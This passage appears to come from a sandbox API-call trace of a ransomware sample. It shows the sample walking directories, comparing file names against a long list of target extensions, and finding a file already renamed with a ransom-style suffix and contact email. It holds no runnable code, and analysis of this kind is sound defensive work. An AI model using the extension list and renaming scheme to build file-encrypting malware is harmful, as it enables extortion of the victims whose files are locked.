-1 [0096.211] lstrlenW (lpString=".gif") returned 4 [0096.211] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0096.212] lstrlenW (lpString=".grs") returned 4 [0096.212] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0096.212] lstrlenW (lpString=".gz") returned 3 [0096.212] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0096.212] lstrlenW (lpString=".h") returned 2 [0096.212] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0096.212] lstrlenW (lpString=".hdr") returned 4 [0096.212] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0096.212] lstrlenW (lpString=".hpp") returned 4 [0096.212] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0096.212] lstrlenW (lpString=".hta") returned 4 [0096.212] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0096.212] lstrlenW (lpString=".htc") returned 4 [0096.212] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0096.212] lstrlenW (lpString=".htm") returned 4 [0096.212] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0096.212] lstrlenW (lpString=".html") returned 5 [0096.212] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0096.212] lstrlenW (lpString=".icb") returned 4 [0096.212] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0096.212] lstrlenW (lpString=".ics") returned 4 [0096.212] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0096.212] lstrlenW (lpString=".iff") returned 4 [0096.212] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0096.212] lstrlenW (lpString=".inc") returned 4 [0096.212] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0096.212] lstrlenW (lpString=".indd") returned 5 [0096.212] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0096.212] lstrlenW (lpString=".ini") returned 4 [0096.212] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0096.212] lstrlenW (lpString=".iqy") returned 4 [0096.212] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0096.212] lstrlenW (lpString=".j2c") returned 4 [0096.212] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0096.213] lstrlenW (lpString=".j2k") returned 4 [0096.213] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0096.213] lstrlenW (lpString=".java") returned 5 [0096.213] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0096.213] lstrlenW (lpString=".jp2") returned 4 [0096.213] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0096.213] lstrlenW (lpString=".jpc") returned 4 [0096.213] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0096.213] lstrlenW (lpString=".jpe") returned 4 [0096.213] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0096.213] lstrlenW (lpString=".jpeg") returned 5 [0096.213] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0096.213] lstrlenW (lpString=".jpf") returned 4 [0096.213] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0096.213] lstrlenW (lpString=".jpg") returned 4 [0096.213] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0096.213] lstrlenW (lpString=".jpx") returned 4 [0096.213] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0096.213] lstrlenW (lpString=".js") returned 3 [0096.213] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0096.213] lstrlenW (lpString=".jsf") returned 4 [0096.213] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0096.213] lstrlenW (lpString=".json") returned 5 [0096.213] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0096.213] lstrlenW (lpString=".jsp") returned 4 [0096.213] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0096.213] lstrlenW (lpString=".kdc") returned 4 [0096.213] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0096.213] lstrlenW (lpString=".kmz") returned 4 [0096.213] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0096.213] lstrlenW (lpString=".kwm") returned 4 [0096.213] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0096.213] lstrlenW (lpString=".lasso") returned 6 [0096.213] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0096.214] lstrlenW (lpString=".lbi") returned 4 [0096.214] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0096.214] lstrlenW (lpString=".lgf") returned 4 [0096.214] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0096.214] lstrlenW (lpString=".lgp") returned 4 [0096.214] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0096.214] lstrlenW (lpString=".log") returned 4 [0096.214] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0096.214] lstrlenW (lpString=".m1v") returned 4 [0096.214] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0096.214] lstrlenW (lpString=".m4a") returned 4 [0096.214] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0096.214] lstrlenW (lpString=".m4v") returned 4 [0096.214] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0096.214] lstrlenW (lpString=".max") returned 4 [0096.214] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0096.214] lstrlenW (lpString=".md") returned 3 [0096.214] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0096.214] lstrlenW (lpString=".mda") returned 4 [0096.214] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0096.214] lstrlenW (lpString=".mdb") returned 4 [0096.214] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0096.214] lstrlenW (lpString=".mde") returned 4 [0096.214] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0096.214] lstrlenW (lpString=".mdf") returned 4 [0096.214] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0096.214] lstrlenW (lpString=".mdw") returned 4 [0096.214] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0096.214] lstrlenW (lpString=".mef") returned 4 [0096.214] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0096.214] lstrlenW (lpString=".mft") returned 4 [0096.214] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0096.214] lstrlenW (lpString=".mfw") returned 4 [0096.214] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0096.215] lstrlenW (lpString=".mht") returned 4 [0096.215] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0096.215] lstrlenW (lpString=".mhtml") returned 6 [0096.215] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0096.215] lstrlenW (lpString=".mka") returned 4 [0096.215] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0096.215] lstrlenW (lpString=".mkidx") returned 6 [0096.215] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0096.215] lstrlenW (lpString=".mkv") returned 4 [0096.215] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0096.215] lstrlenW (lpString=".mos") returned 4 [0096.215] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0096.215] lstrlenW (lpString=".mov") returned 4 [0096.215] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0096.215] lstrlenW (lpString=".mp3") returned 4 [0096.215] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0096.215] lstrlenW (lpString=".mp4") returned 4 [0096.215] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0096.215] lstrlenW (lpString=".mpeg") returned 5 [0096.215] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0096.215] lstrlenW (lpString=".mpg") returned 4 [0096.215] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0096.215] lstrlenW (lpString=".mpv") returned 4 [0096.215] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0096.215] lstrlenW (lpString=".mrw") returned 4 [0096.215] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0096.215] lstrlenW (lpString=".msg") returned 4 [0096.215] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0096.215] lstrlenW (lpString=".mxl") returned 4 [0096.215] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0096.215] lstrlenW (lpString=".myd") returned 4 [0096.215] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0096.215] lstrlenW (lpString=".myi") returned 4 [0096.216] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0096.216] lstrlenW (lpString=".nef") returned 4 [0096.216] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0096.216] lstrlenW (lpString=".nrw") returned 4 [0096.216] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0096.216] lstrlenW (lpString=".obj") returned 4 [0096.216] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0096.216] lstrlenW (lpString=".odb") returned 4 [0096.216] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0096.216] lstrlenW (lpString=".odc") returned 4 [0096.216] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0096.216] lstrlenW (lpString=".odm") returned 4 [0096.216] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0096.216] lstrlenW (lpString=".odp") returned 4 [0096.216] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0096.216] lstrlenW (lpString=".ods") returned 4 [0096.216] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0096.216] lstrlenW (lpString=".oft") returned 4 [0096.216] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0096.216] lstrlenW (lpString=".one") returned 4 [0096.216] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0096.216] lstrlenW (lpString=".onepkg") returned 7 [0096.216] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0096.216] lstrlenW (lpString=".onetoc2") returned 8 [0096.216] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0096.216] lstrlenW (lpString=".opt") returned 4 [0096.216] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0096.216] lstrlenW (lpString=".oqy") returned 4 [0096.216] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0096.216] lstrlenW (lpString=".orf") returned 4 [0096.216] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0096.646] lstrlenW (lpString=".p12") returned 4 [0096.646] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0096.646] lstrlenW (lpString=".p7b") returned 4 [0096.646] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0096.646] lstrlenW (lpString=".p7c") returned 4 [0096.646] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0096.646] lstrlenW (lpString=".pam") returned 4 [0096.658] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0096.658] lstrlenW (lpString=".pbm") returned 4 [0096.658] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0096.658] lstrlenW (lpString=".pct") returned 4 [0096.658] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0096.658] lstrlenW (lpString=".pcx") returned 4 [0096.658] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0096.658] lstrlenW (lpString=".pdd") returned 4 [0096.658] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0096.658] lstrlenW (lpString=".pdf") returned 4 [0096.658] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0096.658] lstrlenW (lpString=".pdp") returned 4 [0096.658] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0096.658] lstrlenW (lpString=".pef") returned 4 [0096.658] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0096.658] lstrlenW (lpString=".pem") returned 4 [0096.658] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0096.658] lstrlenW (lpString=".pff") returned 4 [0096.658] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0096.658] lstrlenW (lpString=".pfm") returned 4 [0096.658] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0096.658] lstrlenW (lpString=".pfx") returned 4 [0096.658] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0096.658] lstrlenW (lpString=".pgm") returned 4 [0096.658] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0096.659] lstrlenW (lpString=".php") returned 4 [0096.659] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0096.659] lstrlenW (lpString=".php3") returned 5 [0096.659] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0096.659] lstrlenW (lpString=".php4") returned 5 [0096.659] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0096.659] lstrlenW (lpString=".php5") returned 5 [0096.659] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0096.659] lstrlenW (lpString=".phtml") returned 6 [0096.659] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0096.659] lstrlenW (lpString=".pict") returned 5 [0096.659] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0096.659] lstrlenW (lpString=".pl") returned 3 [0096.659] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0096.659] lstrlenW (lpString=".pls") returned 4 [0096.659] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0096.659] lstrlenW (lpString=".pm") returned 3 [0096.659] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0096.659] lstrlenW (lpString=".png") returned 4 [0096.659] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0096.659] lstrlenW (lpString=".pnm") returned 4 [0096.659] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0096.659] lstrlenW (lpString=".pot") returned 4 [0096.659] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0096.659] lstrlenW (lpString=".potm") returned 5 [0096.659] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0096.659] lstrlenW (lpString=".potx") returned 5 [0096.659] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0096.659] lstrlenW (lpString=".ppa") returned 4 [0096.659] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0096.659] lstrlenW (lpString=".ppam") returned 5 [0096.659] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0096.660] lstrlenW (lpString=".ppm") returned 4 [0096.660] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0096.660] lstrlenW (lpString=".pps") returned 4 [0096.660] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0096.660] lstrlenW (lpString=".ppsm") returned 5 [0096.660] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0096.660] lstrlenW (lpString=".ppt") returned 4 [0096.660] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0096.660] lstrlenW (lpString=".pptm") returned 5 [0096.660] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0096.660] lstrlenW (lpString=".pptx") returned 5 [0096.660] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0096.660] lstrlenW (lpString=".prn") returned 4 [0096.660] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0096.660] lstrlenW (lpString=".ps") returned 3 [0096.660] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0096.660] lstrlenW (lpString=".psb") returned 4 [0096.660] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0096.660] lstrlenW (lpString=".psd") returned 4 [0096.660] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0096.660] lstrlenW (lpString=".pst") returned 4 [0096.660] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0096.660] lstrlenW (lpString=".ptx") returned 4 [0096.660] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0096.660] lstrlenW (lpString=".pub") returned 4 [0096.660] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0096.660] lstrlenW (lpString=".pwm") returned 4 [0096.660] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0096.660] lstrlenW (lpString=".pxr") returned 4 [0096.660] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0096.660] lstrlenW (lpString=".py") returned 3 [0096.661] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0096.661] lstrlenW (lpString=".qt") returned 3 [0096.661] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0096.661] lstrlenW (lpString=".r3d") returned 4 [0096.661] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0096.661] FindNextFileW (in: hFindFile=0x3e50640, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0096.661] FindNextFileW (in: hFindFile=0x3e50640, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa53ab0c9, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa53ab0c9, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5443a8f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0096.661] FindNextFileW (in: hFindFile=0x3e50640, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa53ab0c9, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa53ab0c9, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5443a8f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0096.661] FindClose (in: hFindFile=0x3e50640 | out: hFindFile=0x3e50640) returned 1 [0096.661] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0096.661] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0096.661] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38c1270 [0096.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030") returned 26 [0096.662] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa58c4089, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50840 [0096.662] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa58c4089, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.662] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0096.662] lstrlenW (lpString="eula.rtf") returned 8 [0096.662] lstrlenW (lpString=".1cd") returned 4 [0096.662] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0096.662] lstrlenW (lpString=".3ds") returned 4 [0096.662] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0096.662] lstrlenW (lpString=".3fr") returned 4 [0096.662] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0096.662] lstrlenW (lpString=".3g2") returned 4 [0096.662] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0096.662] lstrlenW (lpString=".3gp") returned 4 [0096.662] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0096.662] lstrlenW (lpString=".7z") returned 3 [0096.662] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0096.662] lstrlenW (lpString=".accda") returned 6 [0096.662] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0096.662] lstrlenW (lpString=".accdb") returned 6 [0096.662] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0096.662] lstrlenW (lpString=".accdc") returned 6 [0096.662] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0096.663] lstrlenW (lpString=".accde") returned 6 [0096.663] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0096.663] lstrlenW (lpString=".accdt") returned 6 [0096.663] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0096.663] lstrlenW (lpString=".accdw") returned 6 [0096.663] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0096.663] lstrlenW (lpString=".adb") returned 4 [0096.663] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0096.663] lstrlenW (lpString=".adp") returned 4 [0096.663] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0096.663] lstrlenW (lpString=".ai") returned 3 [0096.663] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0096.663] lstrlenW (lpString=".ai3") returned 4 [0096.663] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0096.663] lstrlenW (lpString=".ai4") returned 4 [0096.663] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0096.663] lstrlenW (lpString=".ai5") returned 4 [0096.663] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0096.663] lstrlenW (lpString=".ai6") returned 4 [0096.663] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0096.663] lstrlenW (lpString=".ai7") returned 4 [0096.663] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0096.663] lstrlenW (lpString=".ai8") returned 4 [0096.663] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0096.663] lstrlenW (lpString=".anim") returned 5 [0096.663] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0096.663] lstrlenW (lpString=".arw") returned 4 [0096.663] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0096.663] lstrlenW (lpString=".as") returned 3 [0096.663] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0096.663] lstrlenW (lpString=".asa") returned 4 [0096.663] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0096.664] lstrlenW (lpString=".asc") returned 4 [0096.664] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0096.664] lstrlenW (lpString=".ascx") returned 5 [0096.664] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0096.664] lstrlenW (lpString=".asm") returned 4 [0096.664] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0096.664] lstrlenW (lpString=".asmx") returned 5 [0096.664] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0096.664] lstrlenW (lpString=".asp") returned 4 [0096.664] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0096.664] lstrlenW (lpString=".aspx") returned 5 [0096.664] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0096.664] lstrlenW (lpString=".asr") returned 4 [0096.664] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0096.664] lstrlenW (lpString=".asx") returned 4 [0096.664] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0096.664] lstrlenW (lpString=".avi") returned 4 [0096.664] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0096.664] lstrlenW (lpString=".avs") returned 4 [0096.664] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0096.664] lstrlenW (lpString=".backup") returned 7 [0096.664] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0096.664] lstrlenW (lpString=".bak") returned 4 [0096.664] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0096.664] lstrlenW (lpString=".bay") returned 4 [0096.664] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0096.664] lstrlenW (lpString=".bd") returned 3 [0096.664] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0096.664] lstrlenW (lpString=".bin") returned 4 [0096.664] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0096.664] lstrlenW (lpString=".bmp") returned 4 [0096.664] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0096.664] lstrlenW (lpString=".bz2") returned 4 [0096.664] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0096.665] lstrlenW (lpString=".c") returned 2 [0096.665] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0096.665] lstrlenW (lpString=".cdr") returned 4 [0096.665] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0096.665] lstrlenW (lpString=".cer") returned 4 [0096.665] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0096.665] lstrlenW (lpString=".cf") returned 3 [0096.665] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0096.665] lstrlenW (lpString=".cfc") returned 4 [0096.665] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0096.665] lstrlenW (lpString=".cfm") returned 4 [0096.665] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0096.665] lstrlenW (lpString=".cfml") returned 5 [0096.665] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0096.665] lstrlenW (lpString=".cfu") returned 4 [0096.665] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0096.665] lstrlenW (lpString=".chm") returned 4 [0096.665] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0096.665] lstrlenW (lpString=".cin") returned 4 [0096.665] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0096.665] lstrlenW (lpString=".class") returned 6 [0096.665] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0096.665] lstrlenW (lpString=".clx") returned 4 [0096.665] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0096.665] lstrlenW (lpString=".config") returned 7 [0096.665] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 